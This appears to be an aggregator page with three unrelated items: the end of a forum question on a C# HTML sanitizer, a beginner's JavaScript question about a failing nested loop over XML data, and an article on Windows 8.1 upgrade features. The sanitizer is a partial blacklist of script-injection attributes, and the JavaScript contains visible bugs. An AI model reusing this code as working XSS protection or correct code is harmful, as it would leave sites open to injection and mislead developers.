(HtmlNode node in nc) { node.SetAttributeValue("src", "#"); } } //remove on<Event> handlers from all tags nc = doc.DocumentNode.SelectNodes("//*[@onclick or @onmouseover or @onfocus or @onblur or @onmouseout or @ondoubleclick or @onload or @onunload]"); if (nc != null) { foreach (HtmlNode node in nc) { node.Attributes.Remove("onFocus"); node.Attributes.Remove("onBlur"); node.Attributes.Remove("onClick"); node.Attributes.Remove("onMouseOver"); node.Attributes.Remove("onMouseOut"); node.Attributes.Remove("onDoubleClick"); node.Attributes.Remove("onLoad"); node.Attributes.Remove("onUnload"); } } // remove any style attributes that contain the word expression (IE evaluates this as script) nc = doc.DocumentNode.SelectNodes("//*[contains(translate(@style, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'expression')]"); if (nc != null) { foreach (HtmlNode node in nc) { node.Attributes.Remove("stYle"); } } return doc.DocumentNode.WriteTo(); } Edit 2 people have suggested whitelisting. I actually like the idea of whitelisting but never actually did it because no one can actually tell me how to do it in C# and I can't even really find tutorials for how to do it in c#(the last time I looked. I will check it out again). How do you make a white list? Is it just a list collection? How do you actual parse out all html tags, script tags and every other tag? Once you have the tags how do you determine which ones are allowed? Compare them to you list collection? But what happens if the content is coming in and has like 100 tags and you have 50 allowed. You got to compare each of those 100 tag by 50 allowed tags. Thats quite a bit to go through and could be slow. Once you found a invalid tag how do you remove it? I don't really want to reject a whole set of text if one tag was found to be invalid. I rather remove and insert the rest. Should I be using html agility pack?

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  • javascript won't execute nested for loop

    - by mcdwight6
    thanks in advance for all your help! i'm fairly new to javascript, but i have a fairly strong background in java, so i thought i would try it out on this project i'm working on. essentially, what i'm trying to do is read data from an xml file and create the html code for the page i'm making. i used the script from w3schools found here. I've altered it and gotten it to pull the data from my own xml and even to do the more basic generation of the html code i need. Here's the html i'm using inside <script> tags: var s = swDoc.getElementsByTagName("planet"); var plShowsArr = s[i].getElementsByTagName("show"); var plGamesArr = s[i].getElementsByTagName("videoGame"); for (i=0;i<s.length;i++) { // test section all works document.write("<div><table border = \"1\">"); document.write("<tr><td>"+ s[i].getElementsByTagName("showText")[0].childNodes[0].nodeValue + "</td><td>" + s[i].getElementsByTagName("showUrl")[0].childNodes[0].nodeValue + "</td></tr>"); document.write("<tr><td>" + s[i].getElementsByTagName("gameText")[0].childNodes[0].nodeValue + "</td><td>" + s[i].getElementsByTagName("gameUrl")[0].childNodes[0].nodeValue + "</td></tr>"); document.write("</tr></table></div>"); // end test section document.write("<div class=\"appearances-row\"><ol class=\"shows\">shows list"); for(j=0;j<plShows.length;j++){ document.write("nested for"); var showUrl = s[i].getElementsByTagName("showUrl")[j].childNodes[0].nodeValue; var showText = s[i].getElementByTagName("showText")[j].childNodes[0].nodeValue; document.write("<li><a href=\""+showUrl+"\">"+showText+"</a></li>"); } the code breaks at the nested for loop at the end, where it finished the document.write and prints "shows list" to the page, but then never gets to the document.write inside. if it helps, the xml contains a list of planets from the star wars universe organized like this: <planets> <planet> <planetName>planet</planetName> <description>some text</description> <appearances> <show> <showUrl>url</showUrl> <showText>hyperlink text</showText> </show> <videoGame> <gameUrl>url</gameUrl> <gameText>hyperlink text</gameText> </videoGame> </appearances> <locationsOfInterest> <location>location name</location> </locationsOfInterest> <famousCharactersRelatedTo> <character>a character</character> </famousCharactersRelatedTo> <externalLinks> <link> <linkUrl>url</linkUrl> <linkText>hyperlink text</linkText> </link> </externalLinks> </planet>

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  • What You Need to Know About Windows 8.1

    - by Chris Hoffman
    Windows 8.1 is available to everyone starting today, October 19. The latest version of Windows improves on Windows 8 in every way. It’s a big upgrade, whether you use the desktop or new touch-optimized interface. The latest version of Windows has been dubbed “an apology” by some — it’s definitely more at home on a desktop PC than Windows 8 was. However, it also offers a more fleshed out and mature tablet experience. How to Get Windows 8.1 For Windows 8 users, Windows 8.1 is completely free. It will be available as a download from the Windows Store — that’s the “Store” app in the Modern, tiled interface. Assuming upgrading to the final version will be just like upgrading to the preview version, you’ll likely see a “Get Windows 8.1″ pop-up that will take you to the Windows Store and guide you through the download process. You’ll also be able to download ISO images of Windows 8.1, so can perform a clean install to upgrade. On any new computer, you can just install Windows 8.1 without going through Windows 8. New computers will start to ship with Windows 8.1 and boxed copies of Windows 8 will be replaced by boxed copies of Windows 8.1. If you’re using Windows 7 or a previous version of Windows, the update won’t be free. Getting Windows 8.1 will cost you the same amount as a full copy of Windows 8 — $120 for the standard version. If you’re an average Windows 7 user, you’re likely better off waiting until you buy a new PC with Windows 8.1 included rather than spend this amount of money to upgrade. Improvements for Desktop Users Some have dubbed Windows 8.1 “an apology” from Microsoft, although you certainly won’t see Microsoft referring to it this way. Either way, Steven Sinofsky, who presided over Windows 8′s development, left the company shortly after Windows 8 was released. Coincidentally, Windows 8.1 contains many features that Steven Sinofsky and Microsoft refused to implement. Windows 8.1 offers the following big improvements for desktop users: Boot to Desktop: You can now log in directly to the desktop, skipping the tiled interface entirely. Disable Top-Left and Top-Right Hot Corners: The app switcher and charms bar won’t appear when you move your mouse to the top-left or top-right corners of the screen if you enable this option. No more intrusions into the desktop. The Start Button Returns: Windows 8.1 brings back an always-present Start button on the desktop taskbar, dramatically improving discoverability for new Windows 8 users and providing a bigger mouse target for remote desktops and virtual machines. Crucially, the Start menu isn’t back — clicking this button will open the full-screen Modern interface. Start menu replacements will continue to function on Windows 8.1, offering more traditional Start menus. Show All Apps By Default: Luckily, you can hide the Start screen and its tiles almost entirely. Windows 8.1 can be configured to show a full-screen list of all your installed apps when you click the Start button, with desktop apps prioritized. The only real difference is that the Start menu is now a full-screen interface. Shut Down or Restart From Start Button: You can now right-click the Start button to access Shut down, Restart, and other power options in just as many clicks as you could on Windows 7. Shared Start Screen and Desktop Backgrounds; Windows 8 limited you to just a few Steven Sinofsky-approved background images for your Start screen, but Windows 8.1 allows you to use your desktop background on the Start screen. This can make the transition between the Start screen and desktop much less jarring. The tiles or shortcuts appear to be floating above the desktop rather than off in their own separate universe. Unified Search: Unified search is back, so you can start typing and search your programs, settings, and files all at once — no more awkwardly clicking between different categories when trying to open a Control Panel screen or search for a file. These all add up to a big improvement when using Windows 8.1 on the desktop. Microsoft is being much more flexible — the Start menu is full screen, but Microsoft has relented on so many other things and you’d never have to see a tile if you didn’t want to. For more information, read our guide to optimizing Windows 8.1 for a desktop PC. These are just the improvements specifically for desktop users. Windows 8.1 includes other useful features for everyone, such as deep SkyDrive integration that allows you to store your files in the cloud without installing any additional sync programs. Improvements for Touch Users If you have a Windows 8 or Windows RT tablet or another touch-based device you use the interface formerly known as Metro on, you’ll see many other noticeable improvements. Windows 8′s new interface was half-baked when it launched, but it’s now much more capable and mature. App Updates: Windows 8′s included apps were extremely limited in many cases. For example, Internet Explorer 10 could only display ten tabs at a time and the Mail app was a barren experience devoid of features. In Windows 8.1, some apps — like Xbox Music — have been redesigned from scratch, Internet Explorer allows you to display a tab bar on-screen all the time, while apps like Mail have accumulated quite a few useful features. The Windows Store app has been entirely redesigned and is less awkward to browse. Snap Improvements: Windows 8′s Snap feature was a toy, allowing you to snap one app to a small sidebar at one side of your screen while another app consumed most of your screen. Windows 8.1 allows you to snap two apps side-by-side, seeing each app’s full interface at once. On larger displays, you can even snap three or four apps at once. Windows 8′s ability to use multiple apps at once on a tablet is compelling and unmatched by iPads and Android tablets. You can also snap two of the same apps side-by-side — to view two web pages at once, for example. More Comprehensive PC Settings: Windows 8.1 offers a more comprehensive PC settings app, allowing you to change most system settings in a touch-optimized interface. You shouldn’t have to use the desktop Control Panel on a tablet anymore — or at least not as often. Touch-Optimized File Browsing: Microsoft’s SkyDrive app allows you to browse files on your local PC, finally offering a built-in, touch-optimized way to manage files without using the desktop. Help & Tips: Windows 8.1 includes a Help+Tips app that will help guide new users through its new interface, something Microsoft stubbornly refused to add during development. There’s still no “Modern” version of Microsoft Office apps (aside from OneNote), so you’ll still have to head to use desktop Office apps on tablets. It’s not perfect, but the Modern interface doesn’t feel anywhere near as immature anymore. Read our in-depth look at the ways Microsoft’s Modern interface, formerly known as Metro, is improved in Windows 8.1 for more information. In summary, Windows 8.1 is what Windows 8 should have been. All of these improvements are on top of the many great desktop features, security improvements, and all-around battery life and performance optimizations that appeared in Windows 8. If you’re still using Windows 7 and are happy with it, there’s probably no reason to race out and buy a copy of Windows 8.1 at the rather high price of $120. But, if you’re using Windows 8, it’s a big upgrade no matter what you’re doing. If you buy a new PC and it comes with Windows 8.1, you’re getting a much more flexible and comfortable experience. If you’re holding off on buying a new computer because you don’t want Windows 8, give Windows 8.1 a try — yes, it’s different, but Microsoft has compromised on the desktop while making a lot of improvements to the new interface. You just might find that Windows 8.1 is now a worthwhile upgrade, even if you only want to use the desktop.     

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